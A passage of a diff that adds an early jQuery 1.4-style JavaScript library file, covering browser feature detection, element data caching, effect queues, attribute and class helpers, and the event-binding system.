over any + // // bound event handlers (IE does this) + // jQuery.support.noCloneEvent = false; + // div.detachEvent("onclick", click); + // }); + // div.cloneNode(true).fireEvent("onclick"); + // } + + // div = document.createElement("div"); + // div.innerHTML = ""; + + // var fragment = document.createDocumentFragment(); + // fragment.appendChild( div.firstChild ); + + // // WebKit doesn't clone checked state correctly in fragments + // jQuery.support.checkClone = fragment.cloneNode(true).cloneNode(true).lastChild.checked; + + // // Figure out if the W3C box model works as expected + // // document.body must exist before we can do this + // jQuery(function() { + // var div = document.createElement("div"); + // div.style.width = div.style.paddingLeft = "1px"; + + // document.body.appendChild( div ); + // jQuery.boxModel = jQuery.support.boxModel = div.offsetWidth === 2; + // document.body.removeChild( div ).style.display = 'none'; + // div = null; + // }); + + // // Technique from Juriy Zaytsev + // // http://thinkweb2.com/projects/prototype/detecting-event-support-without-browser-sniffing/ + // var eventSupported = function( eventName ) { + // var el = document.createElement("div"); + // eventName = "on" + eventName; + + // var isSupported = (eventName in el); + // if ( !isSupported ) { + // el.setAttribute(eventName, "return;"); + // isSupported = typeof el[eventName] === "function"; + // } + // el = null; + + // return isSupported; + // }; + + jQuery.support.submitBubbles = false; + jQuery.support.changeBubbles = false; + + // // release memory in IE + // root = script = div = all = a = null; +})(); + +jQuery.props = { + "for": "htmlFor", + "class": "className", + readonly: "readOnly", + maxlength: "maxLength", + cellspacing: "cellSpacing", + rowspan: "rowSpan", + colspan: "colSpan", + tabindex: "tabIndex", + usemap: "useMap", + frameborder: "frameBorder" +}; +var expando = "jQuery" + now(), uuid = 0, windowData = {}; +var emptyObject = {}; + +jQuery.extend({ + cache: {}, + + expando:expando, + + // The following elements throw uncatchable exceptions if you + // attempt to add expando properties to them. + noData: { + "embed": true, + "object": true, + "applet": true + }, + + data: function( elem, name, data ) { + /// + /// Store arbitrary data associated with the specified element. + /// + /// + /// The DOM element to associate with the data. + /// + /// + /// A string naming the piece of data to set. + /// + /// + /// The new data value. + /// + /// + + if ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) { + return; + } + + elem = elem == window ? + windowData : + elem; + + var id = elem[ expando ], cache = jQuery.cache, thisCache; + + // Handle the case where there's no name immediately + if ( !name && !id ) { + return null; + } + + // Compute a unique ID for the element + if ( !id ) { + id = ++uuid; + } + + // Avoid generating a new cache unless none exists and we + // want to manipulate it. + if ( typeof name === "object" ) { + elem[ expando ] = id; + thisCache = cache[ id ] = jQuery.extend(true, {}, name); + } else if ( cache[ id ] ) { + thisCache = cache[ id ]; + } else if ( typeof data === "undefined" ) { + thisCache = emptyObject; + } else { + thisCache = cache[ id ] = {}; + } + + // Prevent overriding the named cache with undefined values + if ( data !== undefined ) { + elem[ expando ] = id; + thisCache[ name ] = data; + } + + return typeof name === "string" ? thisCache[ name ] : thisCache; + }, + + removeData: function( elem, name ) { + if ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) { + return; + } + + elem = elem == window ? + windowData : + elem; + + var id = elem[ expando ], cache = jQuery.cache, thisCache = cache[ id ]; + + // If we want to remove a specific section of the element's data + if ( name ) { + if ( thisCache ) { + // Remove the section of cache data + delete thisCache[ name ]; + + // If we've removed all the data, remove the element's cache + if ( jQuery.isEmptyObject(thisCache) ) { + jQuery.removeData( elem ); + } + } + + // Otherwise, we want to remove all of the element's data + } else { + // Clean up the element expando + try { + delete elem[ expando ]; + } catch( e ) { + // IE has trouble directly removing the expando + // but it's ok with using removeAttribute + if ( elem.removeAttribute ) { + elem.removeAttribute( expando ); + } + } + + // Completely remove the data cache + delete cache[ id ]; + } + } +}); + +jQuery.fn.extend({ + data: function( key, value ) { + /// + /// Store arbitrary data associated with the matched elements. + /// + /// + /// A string naming the piece of data to set. + /// + /// + /// The new data value. + /// + /// + + if ( typeof key === "undefined" && this.length ) { + return jQuery.data( this[0] ); + + } else if ( typeof key === "object" ) { + return this.each(function() { + jQuery.data( this, key ); + }); + } + + var parts = key.split("."); + parts[1] = parts[1] ? "." + parts[1] : ""; + + if ( value === undefined ) { + var data = this.triggerHandler("getData" + parts[1] + "!", [parts[0]]); + + if ( data === undefined && this.length ) { + data = jQuery.data( this[0], key ); + } + return data === undefined && parts[1] ? + this.data( parts[0] ) : + data; + } else { + return this.trigger("setData" + parts[1] + "!", [parts[0], value]).each(function() { + jQuery.data( this, key, value ); + }); + } + }, + + removeData: function( key ) { + return this.each(function() { + jQuery.removeData( this, key ); + }); + } +}); +jQuery.extend({ + queue: function( elem, type, data ) { + if ( !elem ) { + return; + } + + type = (type || "fx") + "queue"; + var q = jQuery.data( elem, type ); + + // Speed up dequeue by getting out quickly if this is just a lookup + if ( !data ) { + return q || []; + } + + if ( !q || jQuery.isArray(data) ) { + q = jQuery.data( elem, type, jQuery.makeArray(data) ); + + } else { + q.push( data ); + } + + return q; + }, + + dequeue: function( elem, type ) { + type = type || "fx"; + + var queue = jQuery.queue( elem, type ), fn = queue.shift(); + + // If the fx queue is dequeued, always remove the progress sentinel + if ( fn === "inprogress" ) { + fn = queue.shift(); + } + + if ( fn ) { + // Add a progress sentinel to prevent the fx queue from being + // automatically dequeued + if ( type === "fx" ) { + queue.unshift("inprogress"); + } + + fn.call(elem, function() { + jQuery.dequeue(elem, type); + }); + } + } +}); + +jQuery.fn.extend({ + queue: function( type, data ) { + /// + /// 1: queue() - Returns a reference to the first element's queue (which is an array of functions). + /// 2: queue(callback) - Adds a new function, to be executed, onto the end of the queue of all matched elements. + /// 3: queue(queue) - Replaces the queue of all matched element with this new queue (the array of functions). + /// + /// The function to add to the queue. + /// + + if ( typeof type !== "string" ) { + data = type; + type = "fx"; + } + + if ( data === undefined ) { + return jQuery.queue( this[0], type ); + } + return this.each(function( i, elem ) { + var queue = jQuery.queue( this, type, data ); + + if ( type === "fx" && queue[0] !== "inprogress" ) { + jQuery.dequeue( this, type ); + } + }); + }, + dequeue: function( type ) { + /// + /// Removes a queued function from the front of the queue and executes it. + /// + /// The type of queue to access. + /// + + return this.each(function() { + jQuery.dequeue( this, type ); + }); + }, + + // Based off of the plugin by Clint Helfers, with permission. + // http://blindsignals.com/index.php/2009/07/jquery-delay/ + delay: function( time, type ) { + /// + /// Set a timer to delay execution of subsequent items in the queue. + /// + /// + /// An integer indicating the number of milliseconds to delay execution of the next item in the queue. + /// + /// + /// A string containing the name of the queue. Defaults to fx, the standard effects queue. + /// + /// + + time = jQuery.fx ? jQuery.fx.speeds[time] || time : time; + type = type || "fx"; + + return this.queue( type, function() { + var elem = this; + setTimeout(function() { + jQuery.dequeue( elem, type ); + }, time ); + }); + }, + + clearQueue: function( type ) { + /// + /// Remove from the queue all items that have not yet been run. + /// + /// + /// A string containing the name of the queue. Defaults to fx, the standard effects queue. + /// + /// + + return this.queue( type || "fx", [] ); + } +}); +var rclass = /[\n\t]/g, + rspace = /\s+/, + rreturn = /\r/g, + rspecialurl = /href|src|style/, + rtype = /(button|input)/i, + rfocusable = /(button|input|object|select|textarea)/i, + rclickable = /^(a|area)$/i, + rradiocheck = /radio|checkbox/; + +jQuery.fn.extend({ + attr: function( name, value ) { + /// + /// Set a single property to a computed value, on all matched elements. + /// Instead of a value, a function is provided, that computes the value. + /// Part of DOM/Attributes + /// + /// + /// + /// The name of the property to set. + /// + /// + /// A function returning the value to set. + /// + + return access( this, name, value, true, jQuery.attr ); + }, + + removeAttr: function( name, fn ) { + /// + /// Remove an attribute from each of the matched elements. + /// Part of DOM/Attributes + /// + /// + /// An attribute to remove. + /// + /// + + return this.each(function(){ + jQuery.attr( this, name, "" ); + if ( this.nodeType === 1 ) { + this.removeAttribute( name ); + } + }); + }, + + addClass: function( value ) { + /// + /// Adds the specified class(es) to each of the set of matched elements. + /// Part of DOM/Attributes + /// + /// + /// One or more class names to be added to the class attribute of each matched element. + /// + /// + + if ( jQuery.isFunction(value) ) { + return this.each(function(i) { + var self = jQuery(this); + self.addClass( value.call(this, i, self.attr("class")) ); + }); + } + + if ( value && typeof value === "string" ) { + var classNames = (value || "").split( rspace ); + + for ( var i = 0, l = this.length; i < l; i++ ) { + var elem = this[i]; + + if ( elem.nodeType === 1 ) { + if ( !elem.className ) { + elem.className = value; + + } else { + var className = " " + elem.className + " "; + for ( var c = 0, cl = classNames.length; c < cl; c++ ) { + if ( className.indexOf( " " + classNames[c] + " " ) < 0 ) { + elem.className += " " + classNames[c]; + } + } + } + } + } + } + + return this; + }, + + removeClass: function( value ) { + /// + /// Removes all or the specified class(es) from the set of matched elements. + /// Part of DOM/Attributes + /// + /// + /// (Optional) A class name to be removed from the class attribute of each matched element. + /// + /// + + if ( jQuery.isFunction(value) ) { + return this.each(function(i) { + var self = jQuery(this); + self.removeClass( value.call(this, i, self.attr("class")) ); + }); + } + + if ( (value && typeof value === "string") || value === undefined ) { + var classNames = (value || "").split(rspace); + + for ( var i = 0, l = this.length; i < l; i++ ) { + var elem = this[i]; + + if ( elem.nodeType === 1 && elem.className ) { + if ( value ) { + var className = (" " + elem.className + " ").replace(rclass, " "); + for ( var c = 0, cl = classNames.length; c < cl; c++ ) { + className = className.replace(" " + classNames[c] + " ", " "); + } + elem.className = className.substring(1, className.length - 1); + + } else { + elem.className = ""; + } + } + } + } + + return this; + }, + + toggleClass: function( value, stateVal ) { + /// + /// Add or remove a class from each element in the set of matched elements, depending + /// on either the class's presence or the value of the switch argument. + /// + /// + /// A class name to be toggled for each element in the matched set. + /// + /// + /// A boolean value to determine whether the class should be added or removed. + /// + /// + + var type = typeof value, isBool = typeof stateVal === "boolean"; + + if ( jQuery.isFunction( value ) ) { + return this.each(function(i) { + var self = jQuery(this); + self.toggleClass( value.call(this, i, self.attr("class"), stateVal), stateVal ); + }); + } + + return this.each(function() { + if ( type === "string" ) { + // toggle individual class names + var className, i = 0, self = jQuery(this), + state = stateVal, + classNames = value.split( rspace ); + + while ( (className = classNames[ i++ ]) ) { + // check each className given, space seperated list + state = isBool ? state : !self.hasClass( className ); + self[ state ? "addClass" : "removeClass" ]( className ); + } + + } else if ( type === "undefined" || type === "boolean" ) { + if ( this.className ) { + // store className if set + jQuery.data( this, "__className__", this.className ); + } + + // toggle whole className + this.className = this.className || value === false ? "" : jQuery.data( this, "__className__" ) || ""; + } + }); + }, + + hasClass: function( selector ) { + /// + /// Checks the current selection against a class and returns whether at least one selection has a given class. + /// + /// The class to check against + /// True if at least one element in the selection has the class, otherwise false. + + var className = " " + selector + " "; + for ( var i = 0, l = this.length; i < l; i++ ) { + if ( (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) > -1 ) { + return true; + } + } + + return false; + }, + + val: function( value ) { + /// + /// Set the value of every matched element. + /// Part of DOM/Attributes + /// + /// + /// + /// A string of text or an array of strings to set as the value property of each + /// matched element. + /// + + if ( value === undefined ) { + var elem = this[0]; + + if ( elem ) { + if ( jQuery.nodeName( elem, "option" ) ) { + return (elem.attributes.value || {}).specified ? elem.value : elem.text; + } + + // We need to handle select boxes special + if ( jQuery.nodeName( elem, "select" ) ) { + var index = elem.selectedIndex, + values = [], + options = elem.options, + one = elem.type === "select-one"; + + // Nothing was selected + if ( index < 0 ) { + return null; + } + + // Loop through all the selected options + for ( var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++ ) { + var option = options[ i ]; + + if ( option.selected ) { + // Get the specifc value for the option + value = jQuery(option).val(); + + // We don't need an array for one selects + if ( one ) { + return value; + } + + // Multi-Selects return an array + values.push( value ); + } + } + + return values; + } + + // Handle the case where in Webkit "" is returned instead of "on" if a value isn't specified + if ( rradiocheck.test( elem.type ) && !jQuery.support.checkOn ) { + return elem.getAttribute("value") === null ? "on" : elem.value; + } + + + // Everything else, we just grab the value + return (elem.value || "").replace(rreturn, ""); + + } + + return undefined; + } + + var isFunction = jQuery.isFunction(value); + + return this.each(function(i) { + var self = jQuery(this), val = value; + + if ( this.nodeType !== 1 ) { + return; + } + + if ( isFunction ) { + val = value.call(this, i, self.val()); + } + + // Typecast each time if the value is a Function and the appended + // value is therefore different each time. + if ( typeof val === "number" ) { + val += ""; + } + + if ( jQuery.isArray(val) && rradiocheck.test( this.type ) ) { + this.checked = jQuery.inArray( self.val(), val ) >= 0; + + } else if ( jQuery.nodeName( this, "select" ) ) { + var values = jQuery.makeArray(val); + + jQuery( "option", this ).each(function() { + this.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0; + }); + + if ( !values.length ) { + this.selectedIndex = -1; + } + + } else { + this.value = val; + } + }); + } +}); + +jQuery.extend({ + attrFn: { + val: true, + css: true, + html: true, + text: true, + data: true, + width: true, + height: true, + offset: true + }, + + attr: function( elem, name, value, pass ) { + /// + /// This method is internal. + /// + /// + + // don't set attributes on text and comment nodes + if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 ) { + return undefined; + } + + if ( pass && name in jQuery.attrFn ) { + return jQuery(elem)[name](value); + } + + var notxml = elem.nodeType !== 1 || !jQuery.isXMLDoc( elem ), + // Whether we are setting (or getting) + set = value !== undefined; + + // Try to normalize/fix the name + name = notxml && jQuery.props[ name ] || name; + + // Only do all the following if this is a node (faster for style) + if ( elem.nodeType === 1 ) { + // These attributes require special treatment + var special = rspecialurl.test( name ); + + // Safari mis-reports the default selected property of an option + // Accessing the parent's selectedIndex property fixes it + if ( name === "selected" && !jQuery.support.optSelected ) { + var parent = elem.parentNode; + if ( parent ) { + parent.selectedIndex; + + // Make sure that it also works with optgroups, see #5701 + if ( parent.parentNode ) { + parent.parentNode.selectedIndex; + } + } + } + + // If applicable, access the attribute via the DOM 0 way + if ( name in elem && notxml && !special ) { + if ( set ) { + // We can't allow the type property to be changed (since it causes problems in IE) + if ( name === "type" && rtype.test( elem.nodeName ) && elem.parentNode ) { + jQuery.error( "type property can't be changed" ); + } + + elem[ name ] = value; + } + + // browsers index elements by id/name on forms, give priority to attributes. + if ( jQuery.nodeName( elem, "form" ) && elem.getAttributeNode(name) ) { + return elem.getAttributeNode( name ).nodeValue; + } + + // elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set + // http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ + if ( name === "tabIndex" ) { + var attributeNode = elem.getAttributeNode( "tabIndex" ); + + return attributeNode && attributeNode.specified ? + attributeNode.value : + rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ? + 0 : + undefined; + } + + return elem[ name ]; + } + + if ( !jQuery.support.style && notxml && name === "style" ) { + if ( set ) { + elem.style.cssText = "" + value; + } + + return elem.style.cssText; + } + + if ( set ) { + // convert the value to a string (all browsers do this but IE) see #1070 + elem.setAttribute( name, "" + value ); + } + + var attr = !jQuery.support.hrefNormalized && notxml && special ? + // Some attributes require a special call on IE + elem.getAttribute( name, 2 ) : + elem.getAttribute( name ); + + // Non-existent attributes return null, we normalize to undefined + return attr === null ? undefined : attr; + } + + // elem is actually elem.style ... set the style + // Using attr for specific style information is now deprecated. Use style insead. + return jQuery.style( elem, name, value ); + } +}); +var fcleanup = function( nm ) { + return nm.replace(/[^\w\s\.\|`]/g, function( ch ) { + return "\\" + ch; + }); +}; + +/* + * A number of helper functions used for managing events. + * Many of the ideas behind this code originated from + * Dean Edwards' addEvent library. + */ +jQuery.event = { + + // Bind an event to an element + // Original by Dean Edwards + add: function( elem, types, handler, data ) { + /// + /// This method is internal. + /// + /// + + if ( elem.nodeType === 3 || elem.nodeType === 8 ) { + return; + } + + // For whatever reason, IE has trouble passing the window object + // around, causing it to be cloned in the process + if ( elem.setInterval && ( elem !== window && !elem.frameElement ) ) { + elem = window; + } + + // Make sure that the function being executed has a unique ID + if ( !handler.guid ) { + handler.guid = jQuery.guid++; + } + + // if data is passed, bind to handler + if ( data !== undefined ) { + // Create temporary function pointer to original handler + var fn = handler; + + // Create unique handler function, wrapped around original handler + handler = jQuery.proxy( fn ); + + // Store data in unique handler + handler.data = data; + } + + // Init the element's event structure + var events = jQuery.data( elem, "events" ) || jQuery.data( elem, "events", {} ), + handle = jQuery.data( elem, "handle" ), eventHandle; + + if ( !handle ) { + eventHandle = function() { + // Handle the second event of a trigger and when + // an event is called after a page has unloaded + return typeof jQuery !== "undefined" && !jQuery.event.triggered ? + jQuery.event.handle.apply( eventHandle.elem, arguments ) : + undefined; + }; + + handle = jQuery.data( elem, "handle", eventHandle ); + } + + // If no handle is found then we must be trying to bind to one of the + // banned noData elements + if ( !handle ) { + return; + } + + // Add elem as a property of the handle function + // This is to prevent a memory leak with non-native + // event in IE. + handle.elem = elem; + + // Handle multiple events separated by a space + // jQuery(...).bind("mouseover mouseout", fn); + types = types.split( /\s+/ ); + + var type, i = 0; + + while ( (type = types[ i++ ]) ) { + // Namespaced event handlers + var namespaces = type.split("."); + type = namespaces.shift(); + + if ( i > 1 ) { + handler = jQuery.proxy( handler ); + + if ( data !== undefined ) { + handler.data = data; + } + } + + handler.type = namespaces.slice(0).sort().join("."); + + // Get the current list of functions bound to this event + var handlers = events[ type ], + special = this.special[ type ] || {}; + + // Init the event handler queue + if ( !handlers ) { + handlers = events[ type ] = {}; + + // Check for a special event handler + // Only use addEventListener/attachEvent if the special + // events handler returns false + if ( !special.setup || special.setup.call( elem, data, namespaces, handler) === false ) { + // Bind the global event handler to the element + if ( elem.addEventListener ) { + elem.addEventListener( type, handle, false ); + } else if ( elem.attachEvent ) { + elem.attachEvent( "on" + type, handle ); + } + } + } + + if ( special.add ) { + var modifiedHandler = special.add.call( elem, handler, data, namespaces, handlers ); + if ( modifiedHandler && jQuery.isFunction( modifiedHandler ) ) { + modifiedHandler.guid = modifiedHandler.guid || handler.guid; + modifiedHandler.data = modifiedHandler.data || handler.data; + modifiedHandler.type = modifiedHandler.type || handler.type; + handler = modifiedHandler; + } + } + + // Add the function to the element's handler list + handlers[ handler.guid ] = handler; + + // Keep track of which events have been used, for global triggering + this.global[ type ] = true; + } + + // Nullify elem to prevent memory leaks in IE + elem = null; + }, + + global: {}, + + // Detach an event or set of events from an element + remove: function( elem, types, handler ) { + /// + /// This method is internal. + /// + /// + + // don't do events on text and comment nodes + if ( elem.nodeType === 3 || elem.nodeType === 8 ) { + return; + } + + var events = jQuery.data( elem, "events" ), ret, type, fn; + + if ( events ) { + // Unbind all events for the element + if ( types === undefined || (typeof types === "string" && types.charAt(0) === ".") ) { + for ( type in events ) { + this.remove( elem, type + (types || "") ); + } + } else { + // types is actually an event object here + if ( types.type ) { + handler = types.handler; + types = types.type; + } + + // Handle multiple events separated by a space + // jQuery(...).unbind("mouseover mouseout", fn); + types = types.split(/\s+/); + var i = 0; + while ( (type = types[ i++ ]) ) { + // Namespaced event handlers + var namespaces = type.split("."); + type = namespaces.shift(); + var all = !namespaces.length, + cleaned = jQuery.map( namespaces.slice(0).sort(), fcleanup ), + namespace = new RegExp("(^|\\.)" + cleaned.join("\\.(?:.*\\.)?") + "(\\.|$)"), + special = this.special[ type ] || {}; + + if ( events[ type ] ) { + // remove the given handler for the given type + if ( handler ) { + fn = events[ type ][ handler.guid ]; + delete events[ type ][ handler.guid ]; + + // remove all handlers for the given type + } else { + for ( var handle in events[ type ] ) { + // Handle the removal of namespaced events + if ( all || namespace.test( events[ type ][ handle ].type ) ) { + delete events[ type ][ handle ]; + } + } + } + + if ( special.remove ) { + special.remove.call( elem, namespaces, fn); + } + + // remove generic event handler if no more handlers exist + for ( ret in events[ type ] ) { + break; + } + if ( !ret ) { + if ( !special.teardown || special.teardown.call( elem, namespaces ) === false ) { + if ( elem.removeEventListener ) { + elem.removeEventListener( type, jQuery.data( elem, "handle" ), false ); + } else if ( elem.detachEvent ) { + elem.detachEvent( "on" + type, jQuery.data( elem, "handle" ) ); + } + } + ret = null; + delete events[ type ]; + } + } + } + } + + // Remove the expando if it's no longer used + for ( ret in events ) { + break; + } + if ( !ret ) { + var handle = jQuery.data( elem, "handle" ); + if ( handle ) { + handle.elem = null; + } + jQuery.removeData( elem, "events" ); + jQuery.removeData( elem, "handle" ); + } + } + }, + + // bubbling is internal + trigger: function( event, data, elem /*, bubbling */ ) { + /// + /// This method is internal. + /// + /// + + // Event object or event type + var type = event.type || event, + bubbling = arguments[3]; + + if ( !bubbling ) { + event = typeof event === "object" ? + // jQuery.Event object + event[expando] ? event : + // Object literal + jQuery.extend( jQuery.Event(type), event ) : + // Just the event type (string) + jQuery.Event(type); + + if ( type.indexOf("!") >= 0 ) { + event.type = type = type.slice(0, -1); + event.exclusive = true; + } + + // Handle a global trigger + if ( !elem ) { + // Don't bubble custom events when global (to avoid too much overhead) + event.stopPropagation(); + + // Only trigger if we've ever bound an event for it + if ( this.global[ type ] ) { + jQuery.each( jQuery.cache, function() { + if ( this.events && this.events[type] ) { + jQuery.event.trigger( event, data, this.handle.elem ); + } + }); + } + } + + // Handle triggering a single element + + // don't do events on text and comment nodes + if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 ) { + return undefined; + } + + // Clean up in case it is reused + event.result = undefined; + event.target = elem; + + // Clone the incoming data, if any + data = jQuery.makeArray( data ); + data.unshift( event ); + } + + event.currentTarget = elem; + + // Trigger the event, it is assumed that "handle" is a function + var handle = jQuery.data( elem, "handle" ); + if ( handle ) { + handle.apply( elem, data ); + } + + var parent = elem.parentNode || elem.ownerDocument; + + // Trigger an inline bound script + try { + if ( !(elem && elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()]) ) { + if ( elem[ "on" + type ] && elem[ "on" + type ].apply( elem, data ) === false ) { + event.result = false; + } + } + + // prevent IE from throwing an error for some elements with some event types, see #3533 + } catch (e) {} + + if ( !event.isPropagationStopped() && parent ) { + jQuery.event.trigger( event, data, parent, true ); + + } else if ( !event.isDefaultPrevented() ) { + var target = event.target, old, + isClick = jQuery.nodeName(target, "a") && type === "click"; + + if ( !isClick && !(target && target.nodeName && jQuery.noData[target.nodeName.toLowerCase()]) ) { + try { + if ( target[ type ] ) { + // Make sure that we don't accidentally re-trigger the onFOO events + old = target[ "on" + type ]; + + if ( old ) { + target[ "on" + type ] = null; + } + + this.triggered = true; + target[ type ](); + } + + // prevent IE from throwing an error for some elements with some event types, see #3533 + } catch (e) {} + + if ( old ) { + target[ "on" + type ] = old; + } + + this.triggered = false; + } + } + }, + + handle: function( event ) { + /// + /// This method is internal. + /// + /// + + // returned undefined or false + var all, handlers; + + event = arguments[0] = jQuery.event.fix( event || window.event ); + event.currentTarget = this; + + // Namespaced event handlers + var namespaces = event.type.split("."); + event.type = namespaces.shift(); + + // Cache this now, all = true means, any handler + all = !namespaces.length && !event.exclusive; + + var namespace = new RegExp("(^|\\.)" + namespaces.slice(0).sort().join("\\.(?:.*\\.)?") + "(\\.|$)"); + + handlers = ( jQuery.data(this, "events") || {} )[ event.type ]; + + for ( var j in handlers ) { + var handler = handlers[ j ]; + + // Filter the functions by class + if ( all || namespace.test(handler.type) ) { + // Pass in a reference to the handler function itself + // So that we can later remove it + event.handler = handler; + event.data = handler.data; + + var ret = handler.apply( this, arguments ); + + if ( ret !== undefined ) { + event.result = ret; + if ( ret === false ) { + event.preventDefault(); + event.stopPropagation(); + } + } + + if ( event.isImmediatePropagationStopped() ) { + break; + } + + } + } + + return event.result; + }, + + props: "altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "), + + fix: function( event ) { + /// + /// This method is internal. + /// + /// + + if ( event[ expando ] ) { + return event; + } + + // store a copy of the original event object + // and "clone" to set read-only properties + var originalEvent = event; + event = jQuery.Event( originalEvent ); + + for ( var i = this.props.length, prop; i; ) { + prop = this.props[ --i ]; + event[ prop ] = originalEvent[ prop ]; + } + + // Fix target property, if necessary + if ( !event.target ) { + event.target = event.srcElement || document; // Fixes #1925 where srcElement might not be defined either + } + + // check if target is a textnode (safari) + if ( event.target.nodeType === 3 ) { + event.target = event.target.parentNode; + } + + // Add relatedTarget, if necessary + if ( !event.relatedTarget && event.fromElement ) { + event.relatedTarget = event.fromElement === event.target ? event.toElement : event.fromElement; + } + + // Calculate pageX/Y if missing and clientX/Y available + if ( event.pageX == null && event.clientX != null ) { + var doc = document.documentElement, body = document.body; + event.pageX = event.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0); + event.pageY = event.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0); + } + + // Add which for key events + if ( !event.which && ((event.charCode || event.charCode === 0) ? event.charCode : event.keyCode) ) { + event.which = event.charCode || event.keyCode; + } + + // Add metaKey to non-Mac browsers (use ctrl for PC's and Meta for Macs) + if ( !event.metaKey && event.ctrlKey ) { + event.metaKey = event.ctrlKey; + } + + // Add which for click: 1 === left; 2 === middle; 3 === right + // Note: button is not normalized, so don't use it + if ( !event.which && event.button !== undefined ) { + event.which = (event.button & 1 ? 1 : ( event.button & 2 ? 3 : ( event.button & 4 ? 2 : 0 ) )); + } + + return event; + }, + + // Deprecated, use jQuery.guid instead + guid: 1E8, + + // Deprecated, use jQuery.proxy instead + proxy: jQuery.proxy, + + special: { + ready: { + // Make sure the ready event is setup + setup: jQuery.bindReady, + teardown: jQuery.noop + }, + + live: { + add: function( proxy, data, namespaces, live ) { + jQuery.extend( proxy, data || {} ); + + proxy.guid += data.selector + data.live; + data.liveProxy = proxy; + + jQuery.event.add( this, data.live, liveHandler, data ); + + }, + + remove: function( namespaces ) { + if ( namespaces.length ) { + var remove = 0, name = new RegExp("(^|\\.)" + namespaces[0] + "(\\.|$)"); + + jQuery.each( (jQuery.data(this, "events").live || {}), function() { + if ( name.test(this.type) ) { + remove++; + } + }); + + if ( remove < 1 ) { + jQuery.event.remove( this, namespaces[0], liveHandler ); + } + } + }, + special: {} + }, + beforeunload: { + setup: function( data, namespaces, fn ) { + // We only want to do this special case on windows + if ( this.setInterval ) { + this.onbeforeunload = fn; + } + + return false; + }, + teardown: function( namespaces, fn ) { + if ( this.onbeforeunload === fn ) { + this.onbeforeunload = null; + } + } + } + } +}; + +jQuery.Event = function( src ) { + // Allow instantiation without the 'new' keyword + if ( !this.preventDefault ) { + return new jQuery.Event( src ); + } + + // Event object + if ( src && src.type ) { + this.originalEvent = src; + this.type = src.type; + // Event type + } else { + this.type = src; + } + + // timeStamp is buggy for some events on Firefox(#3843) + // So we won't rely on the native value + this.timeStamp = now(); + + // Mark it as fixed + this[ expando ] = true; +}; + +function returnFalse() { + return false; +} +function returnTrue() { + return true; +} + +// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding +// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html +jQuery.Event.prototype = { + preventDefault: function() { + this.isDefaultPrevented = returnTrue; + + var e = this.originalEvent; + if ( !e ) { + return; + } + + // if preventDefault exists run it on the original event + if ( e.preventDefault ) { + e.preventDefault(); + } + // otherwise set the returnValue property of the original event to false (IE) + e.returnValue = false; + }, + stopPropagation: function() { + this.isPropagationStopped = returnTrue; + + var e = this.originalEvent; + if ( !e ) { + return; + } + // if stopPropagation exists run it on the original event + if ( e.stopPropagation ) { + e.stopPropagation(); + } + // otherwise set the cancelBubble property of the original event to true (IE) + e.cancelBubble = true; + }, + stopImmediatePropagation: function() { + this.isImmediatePropagationStopped = returnTrue; + this.stopPropagation(); + }, + isDefaultPrevented: returnFalse, + isPropagationStopped: returnFalse, + isImmediatePropagationStopped: returnFalse +}; + +// Checks if an event happened on an element within another element +// Used in jQuery.event.special.mouseenter and mouseleave handlers +var withinElement = function( event ) { + // Check if mouse(over|out) are still within the same parent element + var parent = event.relatedTarget; + + // Traverse up the tree + while ( parent && parent !== this ) { + // Firefox sometimes assigns relatedTarget a XUL element + // which we cannot access the parentNode property of + try { + parent = parent.parentNode; + + // assuming we've left the element since we most likely mousedover a xul element + } catch(e) { + break; + } + } + + if ( parent !== this ) { + // set the correct event type + event.type = event.data; + + // handle event if we actually just moused on to a non sub-element + jQuery.event.handle.apply( this, arguments ); + } + +}, + +// In case of event delegation, we only need to rename the event.type, +// liveHandler will take care of the rest. +delegate = function( event ) { + event.type = event.data; + jQuery.event.handle.apply( this, arguments ); +}; + +// Create mouseenter and mouseleave events +jQuery.each({ + mouseenter: "mouseover", + mouseleave: "mouseout" +}, function( orig, fix ) { + jQuery.event.special[ orig ] = { + setup: function( data ) { + jQuery.event.add( this, fix, data && data.selector ? delegate : withinElement, orig ); + }, + teardown: function( data ) { + jQuery.event.remove( this, fix, data && data.selector ? delegate : withinElement ); + } + }; +}); + +// submit delegation +if ( !jQuery.support.submitBubbles ) { + +jQuery.event.special.submit = { + setup: function( data, namespaces, fn ) { + if ( this.nodeName.toLowerCase() !== "form" ) { + jQuery.event.add(this, "click.specialSubmit." + fn.guid, function( e ) { + var elem = e.target, type = elem.type; + + if ( (type === "submit" || type === "image") && jQuery( elem ).closest("form").length ) { + return trigger( "submit", this, arguments ); + } + }); + + jQuery.event.add(this, "keypress.specialSubmit." + fn.guid, function( e ) { + var elem = e.target, type = elem.type; + + if ( (type === "text" || type === "password") && jQuery( elem ).closest("form").length && e.keyCode === 13 ) { + return trigger( "submit", this, arguments ); + } + }); + + } else { + return false; + } + }, + + remove: function( namespaces, fn ) { + jQuery.event.remove( this, "click.specialSubmit" + (fn ? "."+fn.guid : "") ); + jQuery.event.remove( this, "keypress.specialSubmit" + (fn ? "."+fn.guid : "") ); + } +}; + +} + +// change delegation, happens here so we have bind. +if ( !jQuery.support.changeBubbles ) { + +var formElems = /textarea|input|select/i; + +function getVal( elem ) { + var type = elem.type, val = elem.value; + + if ( type === "radio" || type === "checkbox" ) { + val = elem.checked; + + } else if ( type === "select-multiple" ) { + val = elem.selectedIndex > -1 ? + 